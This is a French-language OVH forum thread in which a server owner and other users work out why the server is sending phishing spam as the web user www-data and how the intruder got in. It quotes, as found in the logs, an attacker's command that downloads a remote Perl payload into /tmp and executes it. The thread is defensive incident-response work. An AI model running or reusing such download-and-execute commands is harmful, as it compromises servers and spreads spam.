OVH Community, your new community space.

Serveur identifié comme spammeur, comment trouver l'origine du problème ?


Open80
24/01/2014, 13h21
Pour le FTP, le mode rescue, récupérer les logs chez moi je connaissais, merci du rappel.

Pour le moment j'ai toujours accès au SSH et à l'ensemble du serveur. Ce matin c'est clean dans les logs et les processus,que je surveille de près. Par précaution je change le mot de passe root régulièrement (avec un mot de passe costaud, ce qui était déjà le cas avant ces attaques même si je suis bien conscient que ce n'est pas ça qui rend le serveur invulnérable).

J'ai identifié le problème, il y a bien un fichier caché nommé shz dans le répertoire tmp/, lorsque je le récupère chez moi mon antivirus le met direct en quarantaine, ça a le mérite d'être clair. Je le laisse sur le serveur tant que je n'ai pas identifié comment il est arrivé là, mais je l'ai renommé, changé les droits et le propriétaire.

Par contre je ne sais pas comment faire pour trouver par quelle porte est arrivé ce fichier, je suis en train de chercher dans les logs avec la date de création mais encore une fois si vous avez une idée plus rapide je suis preneur.

nowwhat
24/01/2014, 10h43
Hello.

Il me manque quelque chose:
Le log de postfix : /var/log/mail.log
C'est là ou tu matchs les ID d'un mail - c'est là ou on peut voir qui injecte le mail.

Le type est déjà dans le système, le log 'auth.log' n'a plus d’importance.

Pour plus de visibilité (si le logiciel spammeur est un script PHP):
Ajoute à ton php.ini:
; Add X-PHP-Originating-Script: that will include uid of the script followed by the filename
mail.add_x_header = On

; Log all mail() calls including the full path of the script, line #, to address and headers
mail.log = /var/log/php-mail.log

Par contre:
Toutes les tentatives de rentrer en ssh (perso je n'utilise SSH qu'en cas extrême, je préfère Webmin). semblent avoir échoué (fail2ban est installé et fonctionne).
C'est le monde à l'envers.

Tout d'abord, le hackeur, lui, avec peu d'effort, désactive toute la panoplie des interfaces de gestion (les Mins) ce qui résulte dans une situation que toi, t'es dehors et lui de dans.
Théoriquement, pour moi, ton serveur est déjà mort.

Normalement, l'accès SSH domine tout.
Pour plus de fun, certains fichiers peuvent être édité par un interface, certains tâches comme les sauvegardes peuvent être automatisé par un interface, mais ça s'arrête la. T'as besoinn d'une exmple dès maintenant - et c'est urgent:
http://guides.ovh.net/ModeRescue

Va dans le Manager de ton serveur.
Positionne ton serveur en mode "Boot rescue".
Goto ton Min interface.
Sélectionne surveur reboot.
Pause café jusqu'à tu a reçu le mail d'OVH avec ton login. SSH seulement.
Imprime ceci: http://guides.ovh.net/ModeRescue - c'est la page d'aide le plus important de ton serveur.
Pas besoin de tests physique de ton serveur - tout va se jouer avec l'accès SSH.
Applique tout jusqu'à "exemple" en bas de la page.Là, tu tape
passwd
puis tu fille deux fois un nouveau mot de passe root.
Maintenant, inspecte le log de fail2ban: normalement, c'est ici /var/log/fail2ban.log
et regarde si son IP y figure, genre :
2014-01-19 20:23:30,177 fail2ban.actions: WARNING [ssh] Ban 1.245.47.106
avec TON IP de chez toi.
Si oui, ok, ça va - tu te fait ban toi même.
Sinon, ce n'est pas fail2ban, donc soit SSH ne tourne plus (ça, c'est grave) ou pire, le hacker est déjà root. appelle le pompe funèbre pour ton serveur, tu va droit au enterrement.

Tant que tu y est en mode rescue, inspecte (sauvegarde chez toi) tout les logs dans /var/log

Puis, bascule ton serveur dans le Manager en boot normal
et
tape
reboot
dans la sessions "ssh rescue" comme indique le doc.

Ton serveur redémarre en mode normal.

En ce moment tu risque peu, OVH t'as bloqué l'émission des mails pour une semaine déjà.

Maintenant, ouvre plusieurs fenêtres SSH (accès root)
Dans une, tu lance
tail -f /var/log/mail.log
Dans l'autre, tu lance
htop
(si ça ne marche pas:apt-get install htop
d'abord)
Avec la troisième, inspect le répertoire /tmp.

Éventuellement, connecte toi aussi avec p.e. FileZilla en mode SFTP (utilisateur: root, mot de passe de root, porte 22 - protocole PAS FTP mais SFTP !) - tu va adorer.
Parfait pour visualiser rapidement,nt les fichiers.

Pour visualiser le fichiers de ton serveur, install dès maintenant
http://notepad-plus-plus.org/fr/
sur ton PC.
Paramètre FileZilla qu'il doit utiliser Notepad++ pour visualiser les fichiers sur ton serveur.

Surveille avec
mailq
le queue de postfix - ne le vide pas. Ces mails ça sont des indices.- t'as les adresses de destination: utilse ces adresses pour trouver le fichier sur le disque qui contient toutes ces adresses mail.

Open80
24/01/2014, 10h31
Bonjour Buddy et merci encore une fois pour ton aide,

Je n'ai pas reçu de nouveaux mails d'OVH cette nuit, et visiblement l'envoi de mails est débloqué puis que ce matin j'ai des mails normalement à partir de mon serveur (rapports d'activité de tâches cron qui tournent pendant la nuit).

J'ai regardé dans tmp/ et dans var/tmp, mais il n'y a rien. Je suis en train de checker les logs de la nuit, et ensuite je vais croiser les heures vues dans auth.log avec les logs apache.

En cherchant sur le web je suis tombé sur un cas similaire dans un forum, je suis donc les pistes indiquées dans ce post.

Je précise que j'ai peu de connaissances en Linux (on ne peut pas connaître et être bon en tout, moi je suis développeur, mais bon là ça va être l'occasion d'apprendre un peu), mon serveur a été installé par une boîte d'infogérance il y a plus de deux ans et aucune attaque sérieuse depuis, au pire je vais voir avec eux pour une mise à jour des versions.

Enfin, pour répondre à ta question Buddy, je n'ai rien trouvé avec ce tmp/shz. Comme je l'ai dit plus haut Dans tmp il n'y a rien.

buddy
24/01/2014, 09h19
Salut,

www-data c'est l'utilisateur par défaut d'apache.. si aucun de tes sites ne doit envoyer de mail c'est une solution radicale. Sinon tu peux compartimenter tes sites avec 1 user / site.

tu avais dis avoir trouver ces lignes
wget http://86.125.12.167/lol.c -O /tmp/shz
ou ? quand ? comment ?
tu as cherché dans les logs de tes sites à cette heure là ?

ps ? htop ? top ? pstree ?

à chaque fois OVH va augmenter la durée de bannissement de ton ip ( ton ip ne pourra plus envoyer de mails du tout)
Certains en laissant traîner le problème se sont retrouver bloqué pour 1 an

Open80
24/01/2014, 01h14
Bonsoir,

Merci pour vos idées. J'ai reçu un nouveau mail d'OVH ce soir, attaque du même type.

J'ai fait un postcat pour copier la source d'un de ces mails et j'ai aussi récupéré la liste des mails en queue, pour rechercher l'origine de l'attaque. J'ai regardé les processus en cours d'exécution et là j'ai vu un truc qui utilisait 20% de mémoire sur un de mes sites, par précaution donc j'ai viré tous les fichiers de ce site et j'ai mis une page 'en maintenance temporaire'. J'ai ensuite supprimé la queue des mails (il y en avait 791 quand même !) et là j'ai redémarré le serveur. J'ai vérifié dans le répertoire tmp, il n'y a rien.

J'ai mis à jour les logs à commencer par ceux du site sur lequel se portent mes soupçons mais je n'y ai rien trouvé, en revanche dans auth.log j'ai des lignes de ce genre, en nombre important :

Code:
Jan 19 14:23:13 mail dovecot-auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=club rhost=189.20.85.212 
Jan 19 14:23:13 mail dovecot-auth: pam_unix(dovecot:auth): check pass; user unknown
A chaque fois la valeur de ruser change avec des noms, et même des prénoms, connus (genre 'sales', 'webmaster', 'clients', 'helen', 'peter'...).

J'ai aussi des choses du genre :

Code:
Jan 20 20:06:06 mail sshd[1251]: reverse mapping checking getaddrinfo for 131.cpe-186-68-94.gye.satnet.net [186.68.94.131] failed - POSSIBLE BREAK-IN ATTEMPT!
Jan 20 20:06:07 mail sshd[1251]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=186.68.94.131  user=root
Jan 20 20:06:09 mail sshd[1251]: Failed password for root from 186.68.94.131 port 54420 ssh2
Jan 20 20:06:12 mail sshd[1251]: Failed password for root from 186.68.94.131 port 54420 ssh2
Jan 20 20:06:14 mail sshd[1251]: Failed password for root from 186.68.94.131 port 54420 ssh2
Jan 20 20:06:14 mail sshd[1251]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=186.68.94.131  user=root
Voici l'entête d'un des mails :

Code:
*** ENVELOPE RECORDS deferred/2/25119672BE ***
message_size:           11632             212               1               0           11632
message_arrival_time: Thu Jan 23 19:52:31 2014
create_time: Thu Jan 23 19:52:31 2014
named_attribute: rewrite_context=local
sender_fullname: www-data
sender: www-data@mail.domaine.com
*** MESSAGE CONTENTS deferred/2/25119672BE ***
Received: by mail.domaine.com (Postfix, from userid 33)
	id 25119672BE; Thu, 23 Jan 2014 19:52:31 +0100 (CET)
content-type: text/html
Subject: Aviso Urgente: Actualiza tus datos
From: Bancomer.com 
To: 2934145_12431471@bmsend.com
Message-Id: <20140123185231.25119672BE@mail.domaine.com>
Date: Thu, 23 Jan 2014 19:52:31 +0100 (CET)
Il s'agit donc encore de l'utilisateur www-data.

Cependant je ne comprends toujours pas par où il est entré. J'ai balayé tout le fichier auth.log, vérifié sur le web tout ce qui me semblait suspect. Toutes les tentatives de rentrer en ssh (perso je n'utilise SSH qu'en cas extrême, je préfère Webmin). semblent avoir échoué (fail2ban est installé et fonctionne).

Je sollicite donc à nouveau votre aide...

Mes questions :
1 - Où/quoi chercher ?
2 - Comment renforcer la sécurité de l'user www-data, est-il possible de l'empêcher d'envoyer des mails par exemple ?
3 - Y-a-t-il un ou des outils me permettant de voir les scripts qui tournent, les fichiers récemment installés ?
4 - Qu'est-ce que je risque chez OVH si mon serveur est identifié plusieurs fois comme spammeur (je suis déjà à 2 fois en 2 jours là, avec un déblocage ?

Il faut absolument bien entendu que je corrige ce problème définitivement demain.

Merci d'avance

Daixiwen
22/01/2014, 10h54
Oui un script perl dans /tmp, c'est probablement ca qui cause ton problème. Le fait que c'est avec un user www-data montre que le pirate est entré par ton serveur web, donc commence par couper le serveur web, tue tous les processus avec le user www-data et commence à éplucher les logs www pour voir comment il est entré. Mais ne reboot pas ou ne redémarre pas le serveur web avant d'avoir comblé la faille.

buddy
21/01/2014, 20h07
il me semble avoir vu un truc similaire il y a peu de temps.

Le pirate est entrée par une faille et a lancé un programme directement en "RAM".
Programme qui envoie du spam of course ...

C'est radical mais un reboot soft du serveur flushera la ram.

Après avec l'heure, en cherchant dans les logs, tu trouveras peut être par où il est entré.

Open80
21/01/2014, 20h03
Merci bien buddy.

J'ai trouvé (enfin) un truc bizarre dans les logs : 2 processus exécutés par l'user www-data, a priori ça appelle quelque chose sur une autre machine mais je ne sais toujours pas par où ça a pu rentrer sur mon serveur :

Code:
sh -c wget http://86.125.12.167/lol.c -O /tmp/shz;perl /tmp/shz
et

Code:
wget http://86.125.12.167/lol.c -O /tmp/shz
Une idée quelqu'un ?

buddy
21/01/2014, 18h49
Bonjour,

dans l'email OVH tu as des messages ID.
Si tu les croises avec tes logs, tu trouveras peut être d'où çà vient.

Sinon, c'est possible que le pirate ait profité d'une faille hier et que son "programme" tourne toujours. Tu as vérifie les process en cours d'execution ? que des trucs normaux ??

Sinon, peut être un utilisateur qui a un malware sur son PC et qui s'est fait voler le mdp de son compte mail ...

Beh, après, vérifier que tous les sites sont à jour. Et si non, le faire ...

Open80
21/01/2014, 18h32
Bonjour à tous,

Mon serveur Kimsufi (Debian 6 / Webmin/ Virtualmin ) subit une attaque de spammeurs depuis ce matin.

J'ai reçu le mail suivant :

Code:
Bonjour,

Notre protection Anti-Spam a détecté un envoi important de spam à partir d'une de vos IP:  l'IP 11.222.333.44

Afin d'assurer la sécurité de notre réseau le traffic sortant de votre serveur vers les ports 25 as été suspendu.

Afin que vous puissiez effectuer les vérifications voici un échantillon des emails bloqués:

    Destination IP: XX.XX.XXX.XX - Message-ID: 20140121110354.88AA767096@mail.mondomaine.com - Spam score: 300
Destination IP: XX.XX.XXX.XX - Message-ID: 20140121082027.DF08E67000@mail.mondomaine.com - Spam score: 300
Destination IP: XX.XX.XXX.XX - Message-ID: 20140121082028.0895F67001@mail.mondomaine.com - Spam score: 300
Destination IP: XX.XX.XXX.XX - Message-ID: 20140121110322.ECCC667014@mail.mondomaine.com - Spam score: 300
Destination IP: XX.XX.XXX.XX - Message-ID: 20140121110322.D200867012@mail.mondomaine.com - Spam score: 300
J'ai vidé la queue postfix mais je vois toujours des mails arriver et je ne suis pas encore parvenu à trouver d'où ça peut venir (j'ai analysé pas mal de fichiers logs, le serveur comportant plusieurs domaines, je n'ai pas fini).

J'ai fait un peu de ménage dans mes sites hébergés (j'ai supprimé temporairement tout ce qui sert de tests ou ce qui n'a pas été mis à jour depuis un moment histoire de supprimer d'éventuelles portes d'entrée). J'ai modifié le mot de passe root au cas où et j'ai balayé aussi les répertoires des sites laissés sur le serveur pour voir s'il n'y avait pas de scripts nouvellement installés dont je ne serais pas l'auteur et n'ai rien trouvé non plus. Bien sûr je cherche aussi dans le forum et sur le web en parallèle dès que je vois quelque chose qui me semble bizarre.

Donc là je sèche un peu et je prends vos idées de solutions. Je précise bien que je cherche des pistes concrètes, pas la peine d'ouvrir un débat sur la sécurité en général ou mon incompétence en particulier, ce n'est pas le but (le serveur a été installé il y a plus de 2 ans et c'est la 1ère fois que je subis un problème de ce genre).

Merci d'avance